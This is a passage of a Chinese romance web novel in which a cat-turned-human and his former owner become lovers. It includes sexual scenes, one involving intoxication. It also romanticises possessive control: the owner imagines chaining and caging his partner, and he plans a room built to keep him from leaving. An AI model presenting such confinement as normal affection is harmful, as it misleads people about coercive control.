顾司沉叹了口气，给吴雪戴上了帽子，又背着人群将这条蓬松得过分的尾巴塞进外套。 因为害怕被人看出来，顾司沉一直从身后护着吴雪，在外人看来，就仿佛在拥抱一般。吴雪沉浸在烟花的绚烂中，对此毫无察觉。 直到晚上10点，他们终于离开了游乐场。吴雪精疲力尽，上车不久就睡着了。 等他再次睁眼，发现车已经停在了古贸壹号停车场，顾司沉坐在他旁边，正安静地看着他。 顾司沉从来没有用这种眼神看过自己，吴雪觉得顾司沉的眼神有点儿陌生，他抱紧怀里的玩偶，说：“走吧。” 顾司沉却抓住他手腕，俯身吻了下来。 这一吻并不激烈，只是轻轻碰了一下嘴唇，吴雪没有从中感受到太多的情绪。他眨了眨眼睛，有些茫然：“你为什么亲我？” “不可以吗？”顾司沉问。 吴雪想了想，告诉顾司沉：“不是不可以，但你下次要提前告诉我。” “好，”顾司沉点头，又说，“我现在可以亲你吗？” 吴雪本来想拒绝的，可他又想起自己刚才说的话，做人做猫都要诚实，于是点头同意了。 顾司沉再次俯下身，吴雪被他压在车后座宽敞的椅子上，坠得越来越低，越来越低……他感到一种失重的慌乱。 顾司沉捞着他的腰把他往上提，低声命令：“吴雪，张嘴。” 吴雪脑子都空了，呆呆地张开嘴巴，顾司沉舌头伸了进来，在他口腔内肆意翻搅。 这种感觉太奇怪了，吴雪下意识想咬，却被顾司沉捏住下颌，扬起下巴，被迫接受了这个湿漉漉的吻。 吴雪身上还穿着在纪念品商店买的文化衫，尾巴从衣摆下方钻出来，缠绕着顾司沉手腕。 氧气越发稀薄了，吴雪感到了一阵眩晕，他抓紧顾司沉衣袖，发出了小猫一样的哼唧声。 顾司沉终于松开了他。 吴雪大口大口地呼吸，顾司沉表情如常，除了嘴唇有些红，和平时没什么两样。他扣上风衣外套，拎起纪念品购物袋对吴雪说：“回家吧。” 吴雪抱着玩偶跟在顾司沉身后，不知怎么的有些心跳加速。 晚上还是照例睡一张床，吴雪其实很喜欢和顾司沉一起睡觉，他喜欢顾司沉的身体和体温，尤其是被顾司沉抱着，让他有一种回到妈妈怀抱里的安全感。 可顾司沉总要亲他，一想到说不定又要被亲，吴雪又觉得也不是一定要和顾司沉睡一起。 他躺在自己的被窝里，和顾司沉中间隔了两个人的距离。回来时他在车上补过觉，毫无睡意，可他还是闭眼假装睡着了。因为如果顾司沉又问他能不能接吻，他不知道该怎么回答。好在直到他睡着，顾司沉都没有提出任何要求。 但是第二天早上起床，顾司沉又吻了他。 吴雪当时还在睡觉，迷迷糊糊被一阵抚摸弄醒，睁眼就看见顾司沉侧躺在自己身侧。 此时天还没有全亮，顾司沉高大的身影笼罩在灰蓝色的清晨中，那是一张以人类标准来说非常英俊帅气的脸。 他就这样安静地看了吴雪半响，然后问：“我可以亲你吗？” 吴雪都不记得自己怎么说的了，等他回过神来，顾司沉已经堵住了他嘴唇。 柔软蓬松的羽绒被隔在身体中间，于是吴雪没能察觉到顾司沉身体的变化。 这个吻并没有持续太久，当闹钟响起顾司沉就松开吴雪下了床。吴雪又睡着了，等他再次醒来，顾司沉已经去了公司。 白天吴雪上了2个小时的课程，有些心不在焉，吃过午饭后他本来准备打个盹儿，再做一场直播，没想到下午3点顾司沉就回了家。 吴雪当时午睡刚醒来，睁眼发现顾司沉安静地站在床边，用那种幽深浓稠的目光看他。 于是吴雪知道顾司沉又想接吻了。 这次他依旧没有拒绝，只是感觉有些苦恼，顾司沉需求似乎太高了。 一吻结束，吴雪推开顾司沉，喘着气说：“顾司沉，你能不能不要老是亲我？” 顾司沉过了一会儿才开口，声音有些哑：“你不喜欢吗？” “也不是不喜欢，”吴雪说，“就是感觉太多了，你总在亲我。” “多吗？”顾司沉用平静的语气说，“你是猫时我也总亲你。” 吴雪被顾司沉说服了，在他还是一只猫时顾司沉也经常亲他。不过当时人只亲他身体、脑袋、肚皮、爪子，从来没有像这样嘴对嘴的亲，还要把舌头伸进他口腔。吴雪将自己的发现说了出来。 “原来你想我亲你其他地方？”顾司沉笑了一下，又过来亲他腹部。 猫肚皮本来就敏感，变成人后没有毛覆盖更是软嫩。湿热的气息落在腹部，吴雪身体霎时颤了一下，有些慌乱地伸手制止：“顾司沉，别……” 顾司沉不听，把整张脸都埋进了吴雪软热的小腹。 少年身体霎时紧绷，似乎一瞬间变得非常无措，但又没有立刻推开顾司沉，柔韧的腰腹随着呼吸起伏，彰显着蓬勃的生命力。 顾司沉恶劣地吻了吴雪小腹，不出意外听见一道明显地吸气声。吴雪小腹随着吸气收缩，柔软又温热。 吴雪终于受不了了，他想要曲起双腿躲开，却被顾司沉按住膝盖。 “别动。”顾司沉出声提醒，他抬头注视着吴雪，目光变得很沉，很深。 吴雪穿着宽松的睡衣躺在床上，因为刚才的动作露出一截小腹和腰身，他体型介于少年和青年之间，躺下时腰腹瘦而薄，但因为运动有一层不明显的薄肌。 他红着脸躺在床上，小腹微微凹陷、紧绷。太薄了，轻轻一顶，就凸出明显的弧度。 吴雪没听懂：“什么弧度？” 顾司沉并拢食指和中指，在他薄而软的腹部轻轻一按，说：“把我的东西放进去，你这里就会鼓起来。” 吴雪还是不懂，他在脑海中认真复述了一遍顾司沉的话，又充分发挥自己的想象，数秒后终于明白，难以置信地睁大眼睛。 顾司沉：“怕了？” 吴雪整张脸都烧了起来，可他并没有害羞，而是翻身将顾司沉推倒在床，跨坐在男人腰上，用严肃的语气说：“顾司沉，是我把东西放进你身体里。” 说这话时他那双漂亮的猫眼微微扬起，神采飞扬，漂亮得不行。 顾司沉愣了几秒，突然大笑不止：“原来你是这么想的？” 吴雪扬起下巴，用理所当然的表情说：“本来就是这样。” 顾司沉抱着吴雪，止不住地笑：“宝宝，你怎么这么可爱。” 第30章 自从顾司沉回来后, 吴雪的时间就莫名其妙地溜走了。明明没干什么，可等他回过神来才发现已经到了傍晚，答应网友的直播也泡了汤。 吴雪很不好意思, 上线和网友道歉，又允诺下次直播一定多加时长。 有网友询问原因，吴雪实话实说：男朋友今天提前回家，不知道怎么回事时间就没有了。 网友：？？？等等，所以你们是在一起了？ 55：算是吧, 他说和我试试。 [哇, 恭喜恭喜！] [终于如愿以偿了, 一定很幸福吧？] 吴雪有些苦恼，说：我觉得他有点儿太粘人了, 还总爱亲我。 [哈哈哈哈哈宝宝你也太纯了, 谈恋爱可不就是要搞黄。] [宝宝你长这样，想不和你亲热很难的。] [心动男嘉宾也是搞笑，之前strong得要死，结果现在又这么猴急。] 大部分人都在吐槽, 也有一些网友在教导吴雪, 告诉他你不要想别人怎么样，也不要觉得是你先追的人就不好开口，不管怎么样，不喜欢就说, 不要就是不要。 吴雪认真地想了想, 觉得他也不是不喜欢, 也不是不想要，他就是不习惯，还有点儿不好意思。 但说到底都怪顾司沉总爱亲他, 吴雪现在不在发情期，根本没什么亲热的需求。偏偏顾司沉很沉迷，搞得他很被动。 “和谁聊天？这么开心。”顾司沉洗完澡进来，随口问道。 吴雪有些心虚地把手机放到身后，说：“没什么，就随便看看。” 顾司沉躺在床上看财经新闻，吴雪坐在另一头，偷偷瞄他。 吴雪还是不明白，顾司沉怎么突然就变成这样了？他仔细计算过，顾司沉今天都亲他10次了！ 下午他们躺在床上亲了半天，吴雪嘴巴都肿了，顾司沉还不愿意停下来。 吴雪看着顾司沉，不太理解为什么顾司沉嘴巴没有事？还是不薄不厚，唇形非常漂亮的样子。 顾司沉整体气质偏冷，长相凌厉，可他唇形标准而优雅，现在唇色因为充血变深，有一种不符合他气质的性感，让吴雪想起了顾司沉结束亲吻后在他耳边喘气的样子。 吴雪感觉自己变得有点儿糟糕，还有心虚，正要移开视线，顾司沉却抬起了头。 四目相对，吴雪还没来得及说点儿什么，顾司沉已经按住他肩膀吻了他。 又是一次永无止境地亲吻，过了很久很久，顾司沉终于松开了他，随即叹了口气，用无奈地语气说：“你还小，别太沉迷了。” 被狠狠欺负了一通的吴雪：“……” 究竟是谁沉迷了，他还是只猫时都没有这么喜欢亲亲！ 吴雪感觉自己变成了一只惊弓之鸟，每当和顾司沉对上视线，脑海中就浮现出许多乱七八糟的念头。既害怕顾司沉亲他，又害怕顾司沉不亲他，都变得不像是他自己了。 吴雪怀念起了做猫时的单纯，想干什么就干什么，从来不内耗。 可现在…… 哎，做人果然好复杂。 就这样，吴雪筹备了第二次直播。 为防再次被打断，他这次直播提前和顾司沉说了，让顾司沉不要打扰自己，还特意挑选在工作日上午。 没想到顾司沉根本不去公司，从大清早就看着他忙碌。 吴雪顶着他的视线掏出网友推荐的衣服，顾司沉看了眼裙子，说：“一定要直播吗？” “说好了的。” 顾司沉又问：“那不穿裙子行不行？” 吴雪犹豫了一会儿，说：“我不知道穿什么。” 他的衣服都很休闲，直播不太适合。 顾司沉：“我给你准备。” 不一会儿，顾司沉拿出一套尺码稍小的西装：“应该适合你的尺寸。” 这套衣服包含外套、白衬衫、西装背心、领结、燕尾服，皮鞋西裤…… 吴雪：“你哪儿来的？” “我中学时期的校服，”顾司沉说，“你换上看适不适合。” 吴雪没穿过正装，顾司沉化身临时管家，一件件帮他换上。系好领结，再拨开额前刘海，他看起来也多了几分优雅贵气。 跳舞环节也取消了，顾司沉把家教课挪到了上午，由他亲自教学。 点进直播间的网友：？？？ [给我整哪儿来了？我不是来看宝宝直播的吗？] [是一种新型的play吗？搞得还怪正式的。] [上课也挺好的，宝宝认真读诗的样子好乖哦。] 随着吴雪对课程的适应性增强，他现在家教课分为四大类，分别是语言课、文化课、音乐课、运动课程。 顾司沉给吴雪上了一节文化课，主要讲英国文学，重点学习了《莎士比亚十四行诗》。 “Shall Ipare thee to a summers day? Thou art more lovely and more temperate……” 吴雪端坐在镜头前，穿着顾司沉中学时期的校服，认真地朗诵着诗句。偶尔遇到认不出来的单词，就会抬头看向顾司沉，直到顾司沉开口教他，才继续读了下去。 听见顾司沉声音的网友：！！！ [这是不是心动男嘉宾！声音好好听哦！！] [好醇正的英伦发音，还给宝宝穿自己的中学校服，很心机了。] [不知道能不能看见他们合体。] [不好吧，要封直播间的。] [？？我是说合体直播！你们想哪里去了！！] …… 吴雪读完诗，抬头问顾司沉：“你笑什么？” 顾司沉：“我没有笑。” 听见这个对话，网友评论刷得更疯了。 顾司沉一键清屏，又摆出一副波澜不惊的表情。 吴雪不疑有他，说自己诗已经读完了，问顾司沉还要做什么。他一直缺乏做人经验，习惯了事事询问顾司沉。可这话落到网友耳中，那又是另一种感觉了。 [好好好，你们果然是在play吧] [这么乖巧听话的宝宝，心动男嘉宾也吃得太好了吧？] ［能不能让我也吃一口，或者看你们吃。］ “弹钢琴。”顾司沉说。 吴雪开心地拿着手机去琴房。 吴雪喜欢钢琴课，他还是一只猫时就会把琴键踩得咚咚响，变人后更是轻轻松松。 吴雪弹了一首自己擅长的曲目，顾司沉在旁边拉小提琴，手机不近不远地立在旁边，顾司沉背对镜头，身姿优雅挺拔。 网友已经磕生磕死，吴雪和顾司沉却已经无心观看，这是他们第一次合奏，一曲结束，顾司沉看着吴雪亮晶晶的眼神，拿过手机结束了直播。 吴雪还有些意犹未尽，问顾司沉：“你怎么关了唔……” 顾司沉已经俯身吻了下来，吴雪身体被压在琴键上，喘息声和琴声叠加在一起。 因为提早结束了直播，吴雪又上线和网友道了歉。 大家七嘴八舌又说了一大堆，吴雪一一回复，吃饭时都不愿意放下手机。 顾司沉：“吃完饭再看。” “哦。”吴雪这才放下手机，专心吃饭。 顾司沉看了他一眼，试探道：“和网友聊天？” “嗯，”吴雪点头，眼睛亮了起来，“网上的人都好有趣，说话也很有意思。” 吃过晚饭，顾司沉注册账号关注了吴雪。 在他想象中，吴雪应该是分享他们甜蜜的日常，然后他看见了一条条消息。 [男朋友太粘人了怎么办？] [为什么男朋友总爱亲我？] [该如何委婉拒绝男朋友的亲近？] 最高赞评论是：你不要想别人怎么样，也不要觉得是你先追的人就不好开口，不管怎么样，不喜欢就说，不要就是不要。 吴雪回复：谢谢你，我会认真考虑的。 看到这里，顾司沉放下了手机。 吴雪发现顾司沉突然不亲他了，从晚上睡觉到第二天出门再回来，顾司沉已经有整整一天没有亲他了！ 吴雪本来无所谓亲不亲的，可顾司沉坏就坏在让他养成了接吻的习惯，却又突然不再亲他了，连他给出的许多暗示也视而不见，简直可恶至极。 就这样一直熬到了晚上，直到睡前顾司沉都没有任何动作，吴雪拉了拉他衣袖，有些委屈：“顾司沉，你怎么不亲我了？” 顾司沉停下工作，抬头看他：“不是你不想要吗？” 吴雪：“我什么时候不想要了？” 顾司沉：“我关注了你的账号。” “哦。”吴雪似乎想起来了，一时间没有说话。他低着头，神情有些沮丧。 顾司沉：“那你想要吗？” “要。”吴雪抬头，脆生生地点头。 顾司沉把平板放在床头柜上，侧身过来吻了他。 顾司沉的亲吻像是一场高明的狩猎，用温柔和甜蜜诱人深入，等吴雪回神才发现无处可逃，无路可退。 吴雪再次失去对身体的控制权，连思绪都被顾司沉掌握，牵引。 这次接吻的时间比之前任何一次都要久，让吴雪身体都变得奇怪起来。他不习惯这种陌生的感觉，红着脸控诉始作俑者：“顾司沉，你亲太久了。” “久吗？”顾司沉说，“我们人谈恋爱就是这样。” 是吗？吴雪有些怀疑，但他觉得顾司沉是人，肯定不会骗他。想了想，他和顾司沉商量：“以后可不可以短一点？” “为什么？”顾司沉问，“你不喜欢吗？” 吴雪有些难为情：“也不是，但亲久了我会变得奇怪。” 顾司沉目光一凝，语气却还十分淡定：“哪里奇怪？” 吴雪也说不上来，动物性的直觉比思维还要敏锐，催促着他远离危险。他不知道该怎么表达，低头说了声对不起。 顾司沉摸了摸他头发，语气温和地说：“不用道歉，我没有怪你，我可以等你习惯了再做这些。” 吴雪点头说好，可不知怎么的，得到顾司沉的保证他似乎也没有特别开心。属于人类的复杂情绪拉扯着他，他觉得自己越来越不像猫了。 生活还在继续，他依旧每天和顾司沉一起吃饭，睡觉，按照吴雪的喜好接吻……看起来和之前似乎没什么不同。 可吴雪总觉得有一股奇怪的情绪萦绕着他，让他变得没那么开心，但也谈不上是生气。他不知道自己怎么了，可他觉得生活不应该像这样才对。 现在的顾司沉绅士、温柔，尊重吴雪的一切意愿和偏好。可吴雪却觉得他们之间竖起了一堵无形的高墙，再也回不到一人一猫的那种相处模式了。 吴雪很困扰，决定请求更有做人经验的人。 这天顾司沉从公司回来，闻到了一阵酒气。桌上放着一瓶喝了一半的红酒，吴雪赤脚躺在客厅地毯上，脸颊酡红。 顾司沉扶他起来：“别在地上睡，会着凉。” 吴雪顺势往他怀里一倒，委屈巴巴地说：“顾司沉，我好难过。” 顾司沉愣了下，顺势靠着沙发坐下，搂着吴雪肩膀问：“怎么了？” “我不知道，我就是觉得有点儿难过……”吴雪打了个酒嗝，又说，“我觉得你不喜欢我了。” 顾司沉说：“我没有不喜欢你。” 吴雪说：“骗子。” 顾司沉不知道该怎么接话，沉默了数秒又问：“是不是白天发生了什么事情？” 吴雪想了想，缓慢地摇头：“没有。” 顾司沉：“那你怎么突然想喝酒？” 吴雪：“借酒浇愁。” 顾司沉被他逗笑了：“你一个小孩儿，还知道借酒浇愁。” 这话吴雪不爱听，板起脸反驳：“我不是小孩儿，我已经是一只成熟的大猫了。” “嗯，成熟的大猫，”顾司沉捏了捏他肉嘟嘟的脸颊，说，“大猫我们去床上睡觉。” 顾司沉把吴雪带进浴室，往他身后放了张凳子，问：“能不能自己洗澡？” “可、以。”吴雪点头，但又很快改口说，“不对，不可以。” 他仰头看着顾司沉，微微张开嘴巴说：“顾司沉，你帮我洗。” 顾司沉脱掉西装外套，卷起起衬衫衣袖，像以往那样帮吴雪洗澡。 吴雪坐在小板凳上，旁边放着小鸭子，乖巧地等着顾司沉给他洗澡。 顾司沉还以为他会闹腾，没想到吴雪竟然无比配合，直到他冲干净吴雪身体，又用浴巾把人捆起来，吴雪才终于惊醒，表情茫然得仿佛错过高考的学生。 顾司沉有些想笑，问：“怎么了？” 吴雪低头看了眼，表情更差了：“我已经洗完澡了？” 顾司沉说：“洗完了。” 吴雪天塌了，嘴里一阵嘟哝：“完蛋了，我怎么就睡着了……” 顾司沉问他：“你还要做什么？” 吴雪抿着嘴唇，一言不发。 顾司沉把人安置在床上，自己进卧室洗澡。不多时他穿好睡衣出来，却没有看见吴雪。顾司沉喊了一声，衣帽间传来一声模糊的回应。 顾司沉推开衣帽间大门，看见吴雪正背对着他弯下腰，低头把身体塞进一条裙子里。裙子是度假风的吊带A字白裙，纯棉材质，裙摆蓬松，长度只到吴雪大腿根部。 顾司沉走到他旁边说：“要睡觉了，你穿这个干什么？” 吴雪抬头思索几秒，语气认真地说：“我要酒后乱性。” 顾司沉根本没当真，又重复了一遍：“好，先去睡觉。” 吴雪竟然也没反对，像是接受了指令的机器人一样往卧室走。 他裙子是后背绑带，松松垮垮地挂在肩膀，还有下滑的趋势。顾司沉怕他摔倒，问：“裙子换了行不行？” 吴雪摇头：“不行。” 顾司沉就帮他把系带绑上，吴雪不喜欢这种束缚感，下意识挣扎起来。 “别动。”顾司沉大手按住他肩膀。 吴雪果真就不动了，直到顾司沉松手，又安静地走到了床边。然后他躺在床上，拉过被子盖着身体说：“顾司沉，我睡觉了。” 顾司沉“嗯”了一声，关了灯。 过了一会儿，吴雪又说：“顾司沉，我要酒后乱性了。” 顾司沉：“……” “你答应我了，”吴雪说，“我先睡觉你就让我酒后乱性。” 顾司沉沉默数秒，敷衍道：“行，你乱吧。” 吴雪凑了过来，用命令的语气说：“亲我。” 顾司沉低头碰了下他嘴唇，正要离开，吴雪却伸手圈着他脖子，主动加深了这个吻。 少年的喜爱热烈而纯粹，就像他身上的白裙，不容任何阴暗与污秽。 顾司沉压着呼吸，在濒临失控前推开怀里的人，低声告诫：“吴雪，可以了。” 吴雪不听，又伸手去解顾司沉的睡衣纽扣。 顾司沉按住了他手腕。 吴雪有些委屈：“你说可以的。” 顾司沉闭上眼深吸一口气，语气无奈地说：“你知不知道自己在做什么？” “知道啊。”吴雪第三遍说了酒后乱性。 顾司沉头疼不已：“是不是网友给你出的馊主意？” “不是，”吴雪摇头，有些开心地说，“是弟弟。” 顾、亭、安。 顾司沉还来不及追责，吴雪已经翻身压住他，咬住了他后颈。在一阵短促而激烈的动作后，吴雪重新归于平静。 第二天清晨，吴雪在柔软的大床上醒来。 他虽然醉酒有些神志不清，却还记得昨晚的细节。想到这里，他抬头看了眼对面的顾司沉，害羞地笑了。 顾司沉照常亲吻他额头，一起吃过早饭又出门工作。 吴雪请顾亭安上楼，端出水果招待对方，很开心地说：“我按照你说的做到最后了。” “啊？”顾亭安愣住了，“我开玩笑的啊，你当真了？” “啊？”吴雪也愣住了，“不是你说睡觉关系就变好？” “从某种意义上来说也没有错，”顾亭安有些心虚，可实在忍不住八卦的心情，又问，“你真的和我哥那个了？” “嗯，”吴雪点头，“刚开始还有些困难，但我很快就学会了。” 顾亭安打量吴雪的身体，看不出一点儿亲热过的痕迹，他露出怀疑的表情。 “你不相信我？”吴雪皱眉，觉得自己被顾亭安小瞧了。 “我就是有些好奇，”顾亭安清了清嗓子，又说，“听说当零第一次都很痛，第二天起来都走不动路。” “还好吧？”吴雪说，“但我的感觉也不完全准确，毕竟我是上面那个。” 顾亭安一惊，吓得把樱桃核都吞了。 30-36 第31章 雄性动物照顾伴侣的本能使然, 和顾司沉发生关系后，吴雪不再患得患失，取而代之的是一种强烈的使命感——他要保护伴侣, 给伴侣提供食物和庇护所，让顾司沉过上更好的生活。 可顾司沉有保镖，大房子，还有厨师上门做饭。吴雪震惊地发现，他这一身本领在顾司沉面前居然毫无用处。 那他还能做什么？吴雪一时间焦头烂额, 突然想起楼下还有只猫。犹豫再三, 他还是准备了份最便宜的伴手礼, 捏着鼻子下楼拜访。 吴雪不喜欢肖冕，除了积怨已深, 他觉得肖冕此人也非常装。 长头发, 高马尾，金色瞳孔，单边耳坠，穿着一件黑色紧身高领毛衣, 表情很臭, 一看就非常欠揍。 这猫怎么在家都打扮得这么隆重？对比之下吴雪只穿了一套休闲服，还是很幼稚的卡通动物图案，瞬间就被比下去了。 宿敌见面，谁都没有好脸色。 肖冕扫了眼吴雪, 语气冰冷：“找我什么事？” 吴雪：“来看你死了没有。” 肖冕呵了一声：“怎么, 你嫉妒我？” 吴雪：“你连人都没睡到, 有什么好嫉妒的？” 肖冕脸黑了。 吴雪又分享了一些他和顾司沉的甜蜜日常，成功让肖冕破了防。然后他拍拍屁股，一脸愉悦地走了。 他也是疯了, 竟然想来找肖冕咨询意见，肖冕连人都没睡到，他知道什么。 不过肖冕也确实给了他灵感，他没想到肖冕在家也要出卖色相。 低俗！他才不会做这么没品的事情！吴雪回家就下单了十几套衣服，各种小裙子。 等到下午顾司沉回来，就看见吴雪穿着一条吊带裙站在玄关，很乖巧地接过他手里的公文包，连声音都变得甜美起来：“你回来啦？工作辛苦了。” 顾司沉目光落在他脖子上的项圈，语气不动声色：“你又直播了？” “没有呢。”吴雪摇头。 顾司沉不禁止他直播，但不喜欢他直播时衣着暴露，作为一个合格的伴侣，他自然要弄懂对方的一切喜好。 “那怎么穿裙子？还戴了这个。” 顾司沉碰了碰他的项圈。 吴雪这才有些紧张，又问：“你不喜欢？” 顾司沉没有立刻回答，他认真看了一分多钟，把吴雪抱到自己膝盖上问：“就这么喜欢裙子？” 吴雪喜欢这种居高临下的位置，他似乎被顾司沉的动作取悦了，点头道：“我觉得你喜欢。” “项圈呢？”顾司沉又问，“我喜欢你就愿意戴？” 吴雪完全不喜欢项圈，他讨厌一切束缚的东西，实际上连衣服他都不喜欢穿。 但他愿意让顾司沉开心，于是点头说：“你想我戴我就愿意。” 顾司沉一时间没有说话，他摩挲着吴雪的项圈，廉价的人造皮和劣质铃铛，做工材质设计都配不上吴雪。 可当吴雪戴着这种项圈讨好他，顾司沉又难以自控的，产生了一股强烈的掌控欲。 他单手捏着吴雪脖子，一瞬间脑海中闪过无数危险的想法。 想在他脖子上系上精心打造的项圈，四肢绑上手链脚链，在他嘴里塞黄金小球，用精致的囚笼关押他，让他像宠物一样取悦自己。 可他也清晰地意识到，现在的吴雪不是他的宠物，而是一个活生生的人。 “怎么啦？”吴雪不知道他的想法，还抬起下巴蹭了蹭他掌心。 顾司沉拇指按住吴雪下嘴唇，低声道：“怎么突然这么乖？” “我喜欢你嘛，”吴雪露出害羞的表情，又说，“而且我们都那个了，我想让你高兴。” 少年脸颊绯红，眼中是毫无保留的喜爱。 顾司沉俯身亲吻吴雪，他想，要是吴雪还是他的宠物该多好。 第二天，正当吴雪发愁要穿什么衣服时，管家送来一沓购物手册，让他挑选自己喜欢的商品。 什么miumiu，香奈儿，圣罗兰，Mugler……吴雪都不认识，也不知道这些是什么奢侈品，就按照自己的喜好挑选。 他选了许多顾司沉可能会喜欢的裙子，但吴雪最喜欢的其实是巴黎世家，黑客帝国墨镜、超宽大垫肩、硬邦邦的木屐鞋……他喜欢一切怪东西，觉得自己酷得飞起。 但当管家询问他怎么不买这些东西时，吴雪只是摇头，说：“顾司沉不喜欢。” 管家没再多言，只是默默记下他的喜好，又询问顾司沉是否要购买，毫无疑问收到了肯定答复。 顾司沉去外地出差，第二天傍晚才赶回来，推开门一看，吴雪正戴着墨镜，穿着打车都要十块钱的超宽肩外套，踩着硬邦邦恶毒木屐鞋在客厅里走来走去。他摆着各种自以为帅气的造型，有一种小孩儿偷穿大人衣服的率直感觉。 在顾司沉记忆中，他自己和顾亭安都没有这种完全孩子气的阶段。 他站在吴雪面前，揉了揉他硬邦邦的头发：“衣服到了，喜欢吗？” “喜欢！”吴雪用力点头，“超帅的。” 他戴墨镜时看起来酷酷的，像是有钱人家喜欢装酷的小少爷，可一旦取下墨镜露出整张脸，又是一副天真的小孩儿模样。 “吴雪。”顾司沉突然喊他名字。 “怎么啦？” “你高兴吗？”顾司沉又问。 “当然，”吴雪说，“我很喜欢你送的东西。” 顾司沉：“愿意一直和我在一起吗？” 吴雪露出茫然的表情：“我们不是早就在一起了吗？” 顾司沉没再回答，只是低头和吴雪接吻。 木屐鞋咚一声落到地上，仿佛捶在吴雪胸口，他不自觉地扭动着身体，心中涌起一股奇异的感觉。 “别动。”顾司沉按着他的腰，声音有点儿哑。 吴雪更难受了，他凑到顾司沉耳边，喘着气说：“顾司沉，我想要……” 顾司沉沉默了几秒，微微拉开距离告诉他：“今天不方便。” 吴雪可怜巴巴：“真不行吗？” 顾司沉闭了闭眼，妥协道：“我用手帮你。” 吴雪有些失望，但也没有继续坚持。据说人类很脆弱，他那里又有倒刺，顾司沉肯定受不了才不让他继续。 吴雪让周姨多做一些大补汤，补一补顾司沉受损的身体。 顾司沉不知所以然，只是每次喝完汤就半夜燥热，夜夜都要去冲冷水澡。 滋补了小一周，吴雪觉得顾司沉身体差不多该养回来了，他计划了一次烛光晚宴，甚至亲自出门买了礼物和花。 礼物是一套对戒，不算很贵，但是他精心挑选，而且用的是他直播挣的钱。花是很新鲜的红色玫瑰花，散发着甜美的气息，让人联想到幸福的感觉。 吴雪故意说自己会在外面玩到晚上，然后提前回来偷偷布置餐厅，本来应该安静的客厅里，此时却传来了人的对话声。 吴雪动作轻巧地关上门，听见顾亭安问：“哥，你真让吴雪那个你了？” 顾司沉也在？吴雪小心翼翼地伸出半个脑袋，却只看见顾司沉的背影。 顾司沉没有说话，顾亭安又说：“可不是我乱说，吴雪亲口跟我说的。” “骗他的，”顾司沉说，“不然他一直缠着要。” 什么叫骗他的？吴雪有些没反应过来。 顾亭安也不理解，又问：“可你们已经在一起了吧？不就是早晚的事。” 顾司沉沉默了更久，这才说：“不一定。” 顾亭安愣了愣，终于反应过来：“抱歉，我是不是问了不该问的问题？” 顾司沉说：“和你没关系。” “啾啾啾——” 门口突然响起一阵鸟叫声，顾司沉回头，发现吴雪不知什么时候出现在了玄关，男生脸色发白，一副失魂落魄的模样。 顾亭安不敢再留，转身离开。吴雪站在门口，一言不发。 顾司沉：“吴雪，过来。” 吴雪不为所动，看着顾司沉眼睛说：“你刚才说骗我是什么意思？” 顾司沉没有回答。 吴雪还在自我反省，又说：“是不是我太凶了？让你不舒服，我……” “吴雪，”顾司沉打断他，“我骗了你，我们没有发生关系。” 吴雪愣了愣，茫然道：“可你为什么要骗我？” 顾司沉张了张嘴，却没有回答。 吴雪又问：“你刚才说不一定又是什么意思？难道我们不会一直在一起吗？” 他努力让自己不露怯，却还是克制不住声音的颤抖。 顾司沉还是沉默，这种沉默中带着一股令人崩溃的意味。 吴雪再次开口，声音已然带上了哭腔：“顾司沉，你不喜欢我吗？” 顾司沉不假思索：“喜欢。” 吴雪仿佛被这个答案安抚了，又笑着去拉顾司沉的手，絮絮叨叨地说：“吓我一跳，我还以为你要和我分手。” 分手这个词是他刚学会的，形容人类情侣关系破裂。 “不会，”顾司沉注视着他眼睛，用笃定的语气说，“只要你愿意，我会一直和你在一起。” 得到保证，吴雪终于开心起来，他伸手去拥抱顾司沉，才意识到自己手里还拿着玫瑰花。 顾司沉：“送给我的？” “对啊，我亲自选的。”吴雪把花递过来，又很快皱起眉头说，“对不起，花被我弄烂了……” 原本娇嫩的花瓣，被他弄得皱皱巴巴，出现难看的伤痕。 “没关系，”顾司沉轻抚花瓣上的伤痕，抬头对吴雪说，“这样我也很喜欢。” 他们吃了一顿烛光晚餐，在深蓝色的暮色中，吴雪把戒指戴在顾司沉手上，觉得自己一度抵达了永恒。 生活似乎恢复了正常，他们一起生活、睡觉、分享日常，唯一的烦恼是顾司沉还是不让吴雪碰。 顾亭安也看出了二人的不对劲，纳闷道：“哥，你们现在究竟是什么情况？” 顾司沉平静道：“没有情况，我和吴雪相处得很好。” 顾亭安嘟哝：“那他怎么总是问我，是不是自己哪里做得不好……” 顾司沉沉默片刻，问顾亭安：“你觉得吴雪喜欢我吗？” 顾亭安：“当然，他几乎就把喜欢写在脸上了。” 顾司沉：“你觉得这种喜欢能有多久呢？” 顾亭安愣住了。 顾亭安似乎懂了，难道他哥其实是在害怕？害怕吴雪也像其他人一样离开他们？可他又觉得这只是自己的一厢情愿，在他的记忆力，从未看见顾司沉为谁得离开而伤心过，哪怕当初他们母亲离开，他哥也是很坦然就接受了。 但顾亭安明白一件事，他哥确实是喜欢吴雪的。 顾亭安又去安慰吴雪：“你不要担心，我哥亲口承认他喜欢你。” 然而这一次，吴雪却没有立刻回答。 顾司沉喜欢他这件事，他本来是坚信不疑的，可他数次尝试都以失败告终，最近一次他更是直接挑明，压着顾司沉说我认真学习过了，我不会弄疼你。但顾司沉依旧不愿意，只是答应用手，用腿，甚至是嘴帮他。 可吴雪要的不是发泄，而是想和人亲密接触，融为一体。 吴雪猜测原因：“人类社会中有些人是性冷淡，可能顾司沉就是这样一种人。” 顾亭安愣了愣，语气迟疑：“我哥他应该不是吧……” “他就是。”吴雪信誓旦旦，全然忘记了之前顾司沉每天都把他吻得喘不过气。 “不然你搬出去试试看？”顾亭安开始出馊主意，“我看小说里都这么写的，在一起时不知道珍惜，等一方离开后另一方就追悔莫及。” “不要，”吴雪摇头说，“我要一直和他在一起。” 顾亭安愣了愣，又问：“如果有天你不喜欢他了呢？” “我怎么可能会不喜欢顾司沉？”吴雪用莫名其妙的眼神看着顾亭安，但还是回答道，“就算我不那么喜欢他，我也不会离开他。” “为什么？”顾亭安也搞不懂了。 “因为他是我的人啊，”吴雪用理所当然的语气说，“猫怎么会离开自己的宠人？” 第32章 顾司沉正在和电路设计工程师进行第三次会面, 探讨把住所改造成安全屋的可行性。 这个安全屋需要抵御外界的攻击，同时限制里面的人出行。 但高层建筑不够私密，且顾司沉担心500平米空间不够吴雪活动, 想要换一个大别墅再实施。 但哪怕是一千平的大别墅，对于人来说也太过狭窄。吴雪喜欢和猫一起玩，也喜欢追小鸟和蝴蝶，喜欢在野外自由地奔跑，顾司沉考虑购入一个庄园。 可庄园也不能完全保证私密, 吴雪那么聪明, 依旧有各种办法从家中逃离。 